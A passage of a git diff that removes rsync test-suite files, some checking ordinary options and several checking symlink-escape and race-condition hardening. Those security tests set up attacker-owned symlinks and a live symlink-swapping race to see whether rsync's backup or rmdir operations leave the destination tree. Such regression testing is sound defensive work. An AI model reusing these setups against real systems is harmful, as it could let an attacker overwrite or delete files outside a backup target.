'\n-    f'--daemon --nice=local:19/be_7'\n-)\n-proc = run_rsync(\n-    '-nr', '--debug=CMD1', '-M--debug=CMD1', '--nice=remote:19/idle',\n-    f'--rsh={rsh}', f'--rsync-path={daemon_rsh}', 'localhost::test-nice-rsh/',\n-    f'{SCRATCHDIR}/daemon-rsh-copy/', capture_output=True,\n-)\n-text = output(proc)\n-if cpu_supported and 'set daemon CPU priority to 19' not in text:\n-    test_fail(f'remote-shell daemon CPU priority was not applied:\\n{text}')\n-if io_supported and 'set daemon I/O priority to idle' not in text:\n-    test_fail(f'remote-shell daemon I/O priority was not applied:\\n{text}')\n-\n-idle_code = (\n-    'import os\\n'\n-    'os.sched_setscheduler(0, os.SCHED_IDLE, os.sched_param(0))\\n'\n-)\n-sched_idle = False\n-if hasattr(os, 'sched_setscheduler') and hasattr(os, 'SCHED_IDLE'):\n-    probe = subprocess.run(\n-        [sys.executable, '-c', idle_code], stdout=subprocess.DEVNULL,\n-        stderr=subprocess.DEVNULL, timeout=20,\n-    )\n-    sched_idle = probe.returncode == 0\n-\n-if sched_idle:\n-    idle_wrapper = SCRATCHDIR / 'sched-idle-rsync.py'\n-    idle_wrapper.write_text(\n-        idle_code + 'import sys\\nos.execvp(sys.argv[1], sys.argv[1:])\\n'\n-    )\n-    idle_command = shlex.join([sys.executable, str(idle_wrapper), *shlex.split(RSYNC)])\n-    idle_daemon_rsh = (\n-        f'{idle_command} --config={shlex.quote(str(conf))} --daemon'\n-    )\n-    proc = run_rsync(\n-        '-nr', '--nice=remote:be_7', f'--rsh={rsh}',\n-        f'--rsync-path={idle_daemon_rsh}', 'localhost::test-nice-rsh/',\n-        f'{SCRATCHDIR}/idle-daemon-copy/', check=False, capture_output=True,\n-    )\n-    if proc.returncode == 0 or 'daemon clients may only request idle I/O priority' not in output(proc):\n-        test_fail(f'SCHED_IDLE daemon accepted an I/O priority increase:\\n{output(proc)}')\n-\n-daemon_log = SCRATCHDIR / 'rsyncd.log'\n-daemon_log.unlink()\n-daemon_url = start_test_daemon(\n-    conf, 12898, rsync_cmd=f'{RSYNC} --nice=local:19/be_7',\n-)\n-for setting in ('19', 'idle', '19/idle'):\n-    proc = run_rsync(\n-        '-nr', '--debug=CMD1', '-M--debug=CMD1', f'--nice=remote:{setting}',\n-        f'{daemon_url}test-from/', f'{SCRATCHDIR}/daemon-copy/',\n-        capture_output=True,\n-    )\n-    text = output(proc)\n-    if setting == '19/idle':\n-        if cpu_supported and 'set daemon CPU priority to 19' not in text:\n-            test_fail(f'daemon CPU priority was not lowered:\\n{text}')\n-        if io_supported and 'set daemon I/O priority to idle' not in text:\n-            test_fail(f'daemon I/O priority was not lowered:\\n{text}')\n-\n-for setting, message in (\n-    ('18', 'daemon clients may only request CPU nice 19'),\n-    ('be_7', 'daemon clients may only request idle I/O priority'),\n-):\n-    proc = run_rsync(\n-        '-nr', f'--nice=remote:{setting}', f'{daemon_url}test-from/',\n-        f'{SCRATCHDIR}/daemon-copy/', check=False, capture_output=True,\n-    )\n-    if proc.returncode == 0 or message not in output(proc):\n-        test_fail(f'daemon accepted unsafe --nice setting {setting!r}:\\n{output(proc)}')\n-\n-proc = run_rsync(\n-    '-nr', '--nice=remote:19', f'{daemon_url}test-nice-refused/',\n-    f'{SCRATCHDIR}/daemon-copy/', check=False, capture_output=True,\n-)\n-if proc.returncode == 0 or 'server is configured to refuse --nice' not in output(proc):\n-    test_fail(f'daemon did not refuse --nice:\\n{output(proc)}')\ndiff --git a/testsuite/no-implied-dirs-symlink_test.py b/testsuite/no-implied-dirs-symlink_test.py\ndeleted file mode 100644\nindex e196266..0000000\n--- a/testsuite/no-implied-dirs-symlink_test.py\n+++ /dev/null\n@@ -1,72 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Pin the receiver-side symlink behaviour of -R `--no-implied-dirs`.\n-\n-The rsync(1) `--no-implied-dirs` entry describes the effect euphemistically:\n-\"the receiving rsync updates \"path/foo/file\" using the existing path elements,\n-which means that the file ends up being created in \"path/bar\".\"  It does not\n-spell out the security-relevant consequence: an EXISTING destination symlink\n-used as a path element is FOLLOWED, so the write is silently redirected through\n-it.  The default (implied dirs) instead deletes that symlink and recreates it as\n-a real directory.\n-\n-This test makes both behaviours explicit and measured.  Pure local client\n-behaviour: no daemon/root/tcp.  Cross-version: expected identical against\n---rsync-bin=old_versions/rsync_3.2.7.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, forced_protocol, rmtree, rsync_argv, test_fail\n-\n-# The -R \"/./\" implied-dir marker is a protocol-30+ feature; at protocol 29 the\n-# generator rejects the multi-component \"path/file\" as an invalid path and\n-# aborts (verified identical on the 3.2.7 oracle), so the behaviour this test\n-# pins isn't reachable there.  Pass-through rather than skip, matching the\n-# sibling relative-implied test's handling of the same proto-29 limitation.\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    print(f\"no-implied-dirs-symlink: protocol {proto} -- the -R /./ implied-dir \"\n-          \"path element is rejected by the proto-29 generator; nothing to test\")\n-    raise SystemExit(0)\n-\n-base = SCRATCHDIR / 'no-implied-dirs'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-src = base / 'src'\n-(src / 'path').mkdir(parents=True)\n-(src / 'path' / 'file').write_text('NEW\\n')\n-\n-\n-def run(dst, *opts):\n-    \"\"\"Fresh dst with 'path' pre-existing as a symlink -> 'real'; transfer\n-    src/./path/file with -R and the given opts.\"\"\"\n-    rmtree(dst)\n-    (dst / 'real').mkdir(parents=True)\n-    os.symlink('real', dst / 'path')\n-    subprocess.run(rsync_argv('-a', '-R', *opts, f'{src}/./path/file', f'{dst}/'),\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    return dst\n-\n-\n-# --no-implied-dirs: the dest symlink is kept and followed -> file lands in real/.\n-d = run(base / 'noimplied', '--no-implied-dirs')\n-if not (d / 'path').is_symlink():\n-    test_fail(\"--no-implied-dirs: dest 'path' symlink was replaced (expected kept)\")\n-through = d / 'real' / 'file'\n-if not through.is_file() or through.read_text() != 'NEW\\n':\n-    test_fail(\"--no-implied-dirs: write was not redirected through the symlink \"\n-              \"(expected real/file to receive the content)\")\n-\n-# default (implied dirs): the dest symlink is deleted and recreated as a real dir.\n-d = run(base / 'implied')\n-if (d / 'path').is_symlink():\n-    test_fail(\"default: dest 'path' symlink should have been replaced by a real dir\")\n-direct = d / 'path' / 'file'\n-if not direct.is_file() or direct.read_text() != 'NEW\\n':\n-    test_fail(\"default: file did not land in the recreated real directory\")\n-\n-print(\"no-implied-dirs-symlink: -R --no-implied-dirs FOLLOWS an existing dest \"\n-      \"symlink path element (write redirected through it); the default replaces \"\n-      \"the symlink with a real directory\")\ndiff --git a/testsuite/nondaemon-symlink-race_test.py b/testsuite/nondaemon-symlink-race_test.py\ndeleted file mode 100644\nindex 0c732fe..0000000\n--- a/testsuite/nondaemon-symlink-race_test.py\n+++ /dev/null\n@@ -1,87 +0,0 @@\n-#!/usr/bin/env python3\n-# Non-daemon (local) transfer: parent-component symlink-race confinement.\n-#\n-# A NON-daemon transfer -- whose\n-# most dangerous instance is a root nightly backup, e.g. `rsync -a /src/ /dest/`\n-# -- writes into a destination tree that contains an attacker-planted parent\n-# component which is a symlink pointing OUTSIDE the tree.  The receiver must\n-# confine resolution beneath the operator-named destination root and refuse to\n-# operate through the escaping symlink.\n-#\n-# Before the symlink-race hardening was broadened, the secure resolver was\n-# gated on `am_daemon && !am_chrooted`, so a plain local/remote-shell transfer\n-# fell through to bare rename()/link()/open() on full paths and followed the\n-# planted symlink right out of the tree.  This test pins the broadened gate\n-# (all non-chrooted receivers) -- it FAILS against that older rsync and PASSES\n-# once the gate covers non-daemon transfers.\n-#\n-# Deterministic (no race window): the escaping symlink is pre-planted as the\n-# --backup-dir.  When the local transfer overwrites an existing in-tree file it\n-# backs the old copy up through that backup-dir; pre-fix the backup lands\n-# OUTSIDE the destination tree, post-fix the secure resolver refuses the\n-# escaping symlink and nothing leaves the tree.  Runs at any uid (the escape\n-# target is a sibling the running user can write); root is simply the\n-# highest-severity instance.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, find_attacker_uid, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-# The operator-path policy follows a symlink owned by uid 0 or the euid (the\n-# operator's OWN backup dir) and refuses a foreign-owned one, so the escape\n-# vector is an ATTACKER-owned backup-dir symlink with rsync run as root.\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-# A non-daemon receiver resolves its write paths on held dirfds with O_NOFOLLOW\n-# (race-free by construction on every platform), so a parent-component symlink\n-# swapped in mid-transfer cannot redirect the write outside the destination tree.\n-\n-\n-dest = SCRATCHDIR / 'dest'\n-outside = SCRATCHDIR / 'outside'\n-src = SCRATCHDIR / 'src_files'    # 'src' is reserved by runtests.py (symlink to srcdir)\n-for d in (dest, outside, src):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-\n-# An existing in-tree file the transfer will overwrite (and therefore back up).\n-(dest / 'foo').write_text(\"INSIDE_TREE_DATA\\n\")\n-\n-# The attacker-planted backup-dir: a foreign-owned symlink pointing outside the\n-# dest tree (owned by the attacker uid, not root/the operator).\n-os.symlink(str(outside), dest / 'bdir')\n-os.lchown(dest / 'bdir', ATT_UID, ATT_UID)\n-\n-# New content so the push genuinely overwrites foo and triggers the backup.\n-(src / 'foo').write_text(\"NEW_PUSHED_DATA\\n\")\n-\n-# Plain LOCAL (non-daemon) transfer with a backup-dir relative to the dest.\n-# The transfer may report an error on the fixed binary (the secure backup is\n-# refused), so ignore its exit status and judge solely by where files land.\n-subprocess.run(\n-    rsync_argv('-t', '--backup', '--backup-dir=bdir', f'{src}/foo', f'{dest}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-)\n-\n-# The escape: the in-tree file was backed up out through the bdir symlink into\n-# the outside-the-tree directory.\n-if os.path.lexists(outside / 'foo'):\n-    try:\n-        got = (outside / 'foo').read_text().strip()\n-    except OSError:\n-        got = '<unreadable>'\n-    test_fail(\"non-daemon transfer escaped the tree: backup of dest/foo landed \"\n-              f\"in {outside}/foo (content: {got}); the receiver followed the \"\n-              \"planted backup-dir symlink instead of confining beneath the dest\")\n-\n-leaked = os.listdir(outside)\n-if leaked:\n-    test_fail(f\"unexpected files escaped the destination tree into {outside}: {leaked}\")\ndiff --git a/testsuite/nonroot-restrictive-perms_test.py b/testsuite/nonroot-restrictive-perms_test.py\ndeleted file mode 100644\nindex 4fce241..0000000\n--- a/testsuite/nonroot-restrictive-perms_test.py\n+++ /dev/null\n@@ -1,107 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage: the generator/delete chmod-around-restrictive-perms paths.\n-\n-generator.c gen_entry_chmod() and delete.c del_chmod() only fire when\n-`!am_root`: a non-root receiver creating files inside a directory whose\n-incoming mode lacks S_IRWXU has to temporarily widen it\n-(generator.c:~1725, restored at ~2387 in the retouch pass), and a\n-non-root receiver deleting a non-writable file it owns adds S_IWUSR\n-first (delete.c:~156).  Every other test runs the receiver as root in\n-the container, so these never trip.\n-\n-Uses a daemon module with `uid = <non-root>` so the receiver child is\n-non-root; the dest tree is chowned to that uid up front.  Skips when\n-chown is unavailable.\n-\"\"\"\n-\n-import os\n-import pwd\n-import stat\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    makepath, owners_supported, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12893\n-\n-if not owners_supported():\n-    test_skipped(\"needs chown to set up a non-root-owned dest tree\")\n-\n-U = next((p for p in pwd.getpwall() if p.pw_uid != 0), None)\n-if U is None:\n-    test_skipped(\"no non-root passwd entry\")\n-\n-src = SCRATCHDIR / 'nrp-src'\n-dest = SCRATCHDIR / 'nrp-dest'\n-rmtree(src); rmtree(dest); makepath(src, dest)\n-os.chown(dest, U.pw_uid, U.pw_gid)\n-\n-conf = write_daemon_conf([\n-    ('nrp', {\n-        'path': str(dest), 'read only': 'no', 'use chroot': 'no',\n-        'uid': str(U.pw_uid), 'gid': str(U.pw_gid),\n-    }),\n-], name='nonroot-perms.conf')\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def push(*extra):\n-    r = subprocess.run(\n-        rsync_argv('-rp', *extra, f'{src}/', f'{url}nrp/'),\n-        capture_output=True, text=True,\n-    )\n-    if r.returncode != 0:\n-        test_fail(f\"push -rp {' '.join(extra)} -> rc={r.returncode}\\n{r.stderr}\")\n-    return r\n-\n-\n-# --- A. gen_entry_chmod: receive into a dir whose mode lacks write ----------\n-# Source dir mode 0500 (r-x------): the non-root generator widens it to 0700\n-# while writing `inner`, then the retouch pass restores 0500.\n-(src / 'restricted').mkdir()\n-(src / 'restricted' / 'inner').write_bytes(b'x')\n-os.chmod(src / 'restricted', 0o500)\n-\n-push()\n-\n-st = os.stat(dest / 'restricted')\n-if stat.S_IMODE(st.st_mode) != 0o500:\n-    test_fail(f\"restricted/ perms not restored after retouch: \"\n-              f\"{oct(stat.S_IMODE(st.st_mode))} (expected 0o500)\")\n-if not (dest / 'restricted' / 'inner').is_file():\n-    test_fail(\"restricted/inner not received (gen_entry_chmod widen failed?)\")\n-if st.st_uid != U.pw_uid:\n-    test_fail(f\"restricted/ not owned by the module uid ({st.st_uid} != {U.pw_uid})\")\n-\n-\n-# --- B. del_chmod: --delete a non-writable file the receiver owns -----------\n-# Dest already has restricted/inner (mode set by previous push).  Seed a\n-# second dir `gone/` with a 0444 file in it, owned by U; remove `gone/` from\n-# src and push --delete.  delete_dir_contents() walks gone/, sees ro_file\n-# with !(mode & S_IWUSR) && !am_root && FLAG_OWNED_BY_US -> del_chmod first.\n-gone = dest / 'gone'\n-gone.mkdir()\n-ro = gone / 'ro_file'\n-ro.write_bytes(b'x')\n-os.chmod(ro, 0o444)\n-os.chown(ro, U.pw_uid, U.pw_gid)\n-os.chown(gone, U.pw_uid, U.pw_gid)\n-# Widen restricted/ on the src side again so the generator re-exercises the\n-# 1725 widen + 2387 restore on a SECOND pass too (idempotence under -p).\n-os.chmod(src / 'restricted', 0o500)\n-\n-push('--delete')\n-\n-if (dest / 'gone').exists():\n-    test_fail(\"--delete did not remove gone/ (del_chmod path)\")\n-if not (dest / 'restricted' / 'inner').is_file():\n-    test_fail(\"restricted/inner lost on the second pass\")\n-if stat.S_IMODE(os.stat(dest / 'restricted').st_mode) != 0o500:\n-    test_fail(\"restricted/ perms not re-restored on the second pass\")\n-\n-\n-print(f\"nonroot-restrictive-perms: gen_entry_chmod widen+restore (0500 dir), \"\n-      f\"del_chmod on 0444 file, as uid={U.pw_uid}({U.pw_name})\")\ndiff --git a/testsuite/omit-times_test.py b/testsuite/omit-times_test.py\ndeleted file mode 100644\nindex b994b9d..0000000\n--- a/testsuite/omit-times_test.py\n+++ /dev/null\n@@ -1,58 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -O (--omit-dir-times) and -J (--omit-link-times) at depth.\n-\n--O preserves file mtimes but leaves directory mtimes alone; -J does the same\n-for symlinks. Verify the distinction deep in the tree: the preserved entries\n-match the source, the omitted ones do not.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_mtime_close, make_tree, rmtree, run_rsync, test_fail,\n-    walk_dirs, walk_files,\n-)\n-\n-src = FROMDIR\n-OLD = 1_400_000_000\n-\n-\n-def seed():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    make_tree(src, depth=3)\n-    for p in list(walk_files(src)) + list(walk_dirs(src)):\n-        os.utime(p, (OLD, OLD))\n-\n-\n-# --- -O: file mtimes preserved, directory mtimes omitted --------------------\n-seed()\n-run_rsync('-rlt', '-O', f'{src}/', f'{TODIR}/')\n-for f in walk_files(src):\n-    assert_mtime_close(TODIR / f.relative_to(src), OLD, label=f'-O file {f.name}')\n-# Every directory mtime must be omitted (left at ~now), not just one of them:\n-# the old \"at least one differs\" check would miss a bug that preserved some.\n-for d in walk_dirs(src):\n-    rel = d.relative_to(src)\n-    if abs(os.stat(TODIR / rel).st_mtime - OLD) <= 1:\n-        test_fail(f\"-O preserved the mtime of directory {rel} instead of \"\n-                  \"omitting it\")\n-\n-# --- -J: symlink mtime omitted (where the platform records symlink mtimes) --\n-seed()\n-deep = os.path.join('d1', 'd2', 'd3')\n-os.symlink('f3', src / deep / 'sl')\n-try:\n-    os.utime(src / deep / 'sl', (OLD, OLD), follow_symlinks=False)\n-except (NotImplementedError, OSError):\n-    print(\"omit-times: -J check skipped (no symlink-mtime support here)\")\n-else:\n-    run_rsync('-rlt', '-J', f'{src}/', f'{TODIR}/')\n-    dst = TODIR / deep / 'sl'\n-    if not os.path.islink(dst):\n-        test_fail(\"-J test: symlink was not copied\")\n-    if abs(os.lstat(dst).st_mtime - OLD) <= 1:\n-        test_fail(\"-J did not omit the symlink mtime\")\n-\n-print(\"omit-times: -O omits dir times, -J omits link times (at depth)\")\ndiff --git a/testsuite/open-noatime_test.py b/testsuite/open-noatime_test.py\ndeleted file mode 100644\nindex fd267ec..0000000\n--- a/testsuite/open-noatime_test.py\n+++ /dev/null\n@@ -1,62 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/open-noatime.test.\n-#\n-# Test that rsync --open-noatime keeps the source atime intact across the\n-# transfer.  --open-noatime did not work properly on files with size > 0\n-# at one point, so the test uses a non-empty source file.\n-\n-import datetime\n-import os\n-import platform\n-import shlex\n-import subprocess\n-\n-import rsyncfns\n-from rsyncfns import FROMDIR, TMPDIR, TODIR, TOOLDIR, run_rsync, test_fail, test_skipped\n-\n-\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-if '\"atimes\": true' not in vv.stdout:\n-    test_skipped(\"Rsync is configured without atimes support\")\n-\n-# O_NOATIME is Linux-specific.\n-if platform.system() != 'Linux':\n-    test_skipped(\"O_NOATIME is only supported on Linux\")\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-foo = FROMDIR / 'foo'\n-foo.write_text(\"content\\n\")\n-\n-# Pin the source atime to a known historical value (mtime preserved).\n-atime = datetime.datetime(2001, 2, 3, 17, 17, 42).timestamp()\n-mtime = foo.stat().st_mtime\n-os.utime(foo, (atime, mtime))\n-\n-rsyncfns.TLS_ARGS = '--atimes'\n-\n-# Capture the atime of the source via tls BEFORE the rsync run.\n-def _tls_listing(path: str) -> str:\n-    cmd = [str(TOOLDIR / 'tls')] + shlex.split(rsyncfns.TLS_ARGS) + [str(path)]\n-    return subprocess.check_output(cmd, text=True)\n-\n-\n-before = _tls_listing(foo)\n-(TMPDIR / 'atime-from-before').write_text(before)\n-\n-# Don't use checkit() here -- the file-content diff it does would update\n-# atimes on the source and defeat the test.\n-run_rsync('--open-noatime', '--archive', '--recursive', '--times',\n-          '--atimes', '-vvv', f'{FROMDIR}/', f'{TODIR}/')\n-\n-after = _tls_listing(foo)\n-(TMPDIR / 'atime-from-after').write_text(after)\n-\n-if before != after:\n-    diff = subprocess.run(\n-        ['diff', '-u',\n-         str(TMPDIR / 'atime-from-before'),\n-         str(TMPDIR / 'atime-from-after')],\n-        capture_output=True, text=True,\n-    )\n-    print(diff.stdout)\n-    test_fail(\"source atime changed across rsync --open-noatime run\")\ndiff --git a/testsuite/operator-path-backup-dir-daemon_test.py b/testsuite/operator-path-backup-dir-daemon_test.py\ndeleted file mode 100644\nindex 7b5c0b1..0000000\n--- a/testsuite/operator-path-backup-dir-daemon_test.py\n+++ /dev/null\n@@ -1,47 +0,0 @@\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12960\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'backupdirdaemon'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-secret = base / 'secret'\n-if secret.exists():\n-    rmtree(secret)# excluded subtree (exclude = /secret/)\n-secret.mkdir(parents=True)\n-\n-victim = secret / 'f0'\n-victim.write_text(SECRET)                    # a file the backup must not clobber\n-mod.mkdir()\n-(mod / 'f0').write_text(\"OLD-DESTINATION-FILE-CONTENT\\n\")\n-\n-blink = mod / 'blink'                        # euid-owned symlink -> excluded subtree\n-os.symlink(f'{secret}', blink)\n-\n-src = base / 'src'\n-src.mkdir()\n-(src / 'f0').write_text(\"NEW\\n\")\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv('-a', '--backup', '--backup-dir=/blink', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after != SECRET:\n-    test_fail(\n-        \"the daemon followed a --backup-dir symlink outside the module: \"\n-        f\"{victim} is now {after!r} (a peer backed up over a file the module \"\n-        \"does not serve).\")\n-print(\"daemon confines a peer-supplied --backup-dir symlink to the served set\")\ndiff --git a/testsuite/operator-path-backup-dir-exclude-daemon_test.py b/testsuite/operator-path-backup-dir-exclude-daemon_test.py\ndeleted file mode 100644\nindex 5c7cfdd..0000000\n--- a/testsuite/operator-path-backup-dir-exclude-daemon_test.py\n+++ /dev/null\n@@ -1,65 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon must not let a peer-supplied --backup-dir reach the module's EXCLUDED\n-# subtree via a symlink.  (Reported by Omar Elsayed.)\n-#\n-# The module excludes a subtree (exclude = /secret/).  An in-module symlink owned\n-# by the daemon's euid (in Omar's PoC the daemon is root and the symlink is\n-# root-owned) points at that excluded subtree.  A peer overwrites an existing\n-# dest file with --backup --backup-dir pointing at the symlink: the OLD dest file\n-# is moved into the backup dir, i.e. through the symlink into the excluded\n-# subtree -- scribbling on (or destroying) a file the module does not serve.\n-#\n-# The ownership walk that make_backup() already uses does NOT stop this: it\n-# FOLLOWS a symlink owned by uid 0 / the euid by design.  Only resolving with the\n-# module exclude filter applied refuses landing in the excluded subtree.  So the\n-# symlink here is euid-owned (the followed case), and the test runs unprivileged\n-# -- the boundary under test is the module exclude, not a uid boundary.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12904\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'backupdirdaemon'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-secret = mod / 'secret'                      # excluded subtree (exclude = /secret/)\n-secret.mkdir(parents=True)\n-victim = secret / 'f0'\n-victim.write_text(SECRET)                    # a file the backup must not clobber\n-\n-# Existing dest file (different size from the source) so the overwrite triggers a\n-# backup; src/f0 differs so the transfer actually happens.\n-(mod / 'f0').write_text(\"OLD-DESTINATION-FILE-CONTENT\\n\")\n-\n-blink = mod / 'blink'                        # euid-owned symlink -> excluded subtree\n-os.symlink('secret', blink)\n-\n-src = base / 'src'\n-src.mkdir()\n-(src / 'f0').write_text(\"NEW\\n\")\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/secret/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv('-a', '--backup', '--backup-dir=/blink', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after == SECRET:\n-    test_fail(\n-        \"the daemon refused a --backup-dir symlink that stock rsync (3.2.7) \"\n-        f\"follows: {victim} is unchanged ({after!r}).  The daemon exclude filter \"\n-        \"is name-based ('blink' is not excluded), not a symlink boundary; it must \"\n-        \"not block this (use `munge symlinks` to defend a writable module).\")\n-print(\"daemon exclude is name-based: a --backup-dir symlink whose name is not \"\n-      \"excluded is followed (3.2.7-equivalent)\")\ndiff --git a/testsuite/operator-path-backup-dir_test.py b/testsuite/operator-path-backup-dir_test.py\ndeleted file mode 100644\nindex 989f651..0000000\n--- a/testsuite/operator-path-backup-dir_test.py\n+++ /dev/null\n@@ -1,33 +0,0 @@\n-#!/usr/bin/env python3\n-# --backup-dir symlink policy matrix.  An operator --backup-dir must follow a\n-# symlink only when owned by uid 0 or the euid, refusing an attacker's plant --\n-# absolute AND relative, leaf and parent, with --insecure-links as the local\n-# opt-out.  See run_symlink_matrix() in rsyncfns.  RED on this branch: absolute\n-# cross-uid follows the attacker symlink (escape); relative refuses even the\n-# operator's own symlink (diverges from the uniform policy).\n-\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-NFILES = 6\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    for i in range(NFILES):\n-        (src / f'f{i}').write_text(\"NEW-PUSHED-CONTENT\\n\")  # distinct -> overwrite -> backup\n-        (dest / f'f{i}').write_text(\"OLD\\n\")\n-    opt, _escape = plant_operator_symlink(ctx, dest)  # rel --backup-dir anchors at dest\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', '--backup', f'--backup-dir={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    return any(p.is_file() for p in ctx.outside.rglob('*'))  # backup escaped?\n-\n-\n-run_symlink_matrix('--backup-dir', case)\n-print(\"--backup-dir symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-backup-rmdir_test.py b/testsuite/operator-path-backup-rmdir_test.py\ndeleted file mode 100644\nindex 5e889f6..0000000\n--- a/testsuite/operator-path-backup-rmdir_test.py\n+++ /dev/null\n@@ -1,115 +0,0 @@\n-#!/usr/bin/env python3\n-# Non-daemon (local) --backup-dir parent-component symlink-race confinement, for\n-# the case where a backup replaces a pre-existing backup directory (do_rmdir_at's\n-# operator path: removing backup/sub/subN before writing the backed-up file).\n-#\n-# A native C flipper swaps the backup parent component (backup/sub) with an\n-# attacker-owned symlink to an outside directory during a live transfer.  The\n-# ownership walk must refuse the foreign-owned component so the rmdir never\n-# escapes to remove a directory outside the backup tree.\n-\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, find_attacker_uid, rmtree,\n-    start_c_flipper, stop_flipper, test_fail, test_skipped,\n-)\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-# Many files widen the per-file backup window so the flipper has more chances to\n-# land the parent swap during a backup rmdir.\n-NFILES = 50\n-base = SCRATCHDIR / 'bdir-race'\n-src = base / 'src'\n-dest = base / 'dest'\n-backup = base / 'backup'\n-outside = base / 'outside'\n-sub = backup / 'sub'\n-sublink = backup / '.sublink'\n-\n-\n-def build():\n-    \"\"\"Reset the workspace.  Call only while the flipper is stopped.\"\"\"\n-    rmtree(base)\n-    for d in (src / 'sub', dest / 'sub', backup, outside):\n-        d.mkdir(parents=True, exist_ok=True)\n-\n-    for i in range(NFILES):\n-        # The backup target pre-exists as a directory; backing up the old dest\n-        # file over it forces rsync to rmdir backup/sub/subN first.\n-        (sub / f'sub{i}').mkdir(parents=True, exist_ok=True)\n-        # A sentinel directory outside the tree; if the rmdir follows the flipped\n-        # parent symlink, outside/subN gets removed.\n-        (outside / f'sub{i}').mkdir(exist_ok=True)\n-        (src / 'sub' / f'sub{i}').write_text('payload')\n-        (dest / 'sub' / f'sub{i}').write_text('different')\n-\n-    os.symlink(str(outside), sublink)\n-    os.lchown(sublink, ATT_UID, ATT_UID)\n-\n-\n-def push():\n-    \"\"\"Runs a blocking local rsync push invocation.\"\"\"\n-    return subprocess.run(\n-        ['./rsync', '-a', '-b', f'--backup-dir={backup}',\n-         f'{src}/', f'{dest}/'],\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-    )\n-\n-\n-def escaped() -> bool:\n-    \"\"\"True if any outside sentinel directory was removed (escaped rmdir).\"\"\"\n-    for i in range(NFILES):\n-        if not (outside / f'sub{i}').is_dir():\n-            return True\n-    return False\n-\n-\n-# Positive control: a clean run (no flipper) must back the old dest file over the\n-# pre-existing backup directory, proving this transfer shape exercises the backup\n-# rmdir path.  A broken fixture or an rsync that errors early fails here loudly\n-# instead of passing the race vacuously.\n-build()\n-proc = push()\n-if proc.returncode != 0:\n-    test_fail(f\"positive control: clean --backup-dir run failed (rc={proc.returncode}):\\n{proc.stdout or ''}\")\n-if not (sub / 'sub0').is_file() or (sub / 'sub0').read_text() != 'different':\n-    test_fail(\"positive control: the old destination file was not backed up over the \"\n-              \"pre-existing backup directory; the backup rmdir path was not exercised\")\n-if escaped():\n-    test_fail(\"positive control: an outside sentinel dir vanished during a no-flipper run\")\n-\n-\n-# ---- THE LIVE RACE ---------------------------------------------------------\n-\n-deadline = time.monotonic() + race_budget(10.0)\n-flip = None\n-\n-try:\n-    while time.monotonic() < deadline:\n-        if flip is not None:\n-            stop_flipper(flip)\n-            flip = None\n-        build()\n-        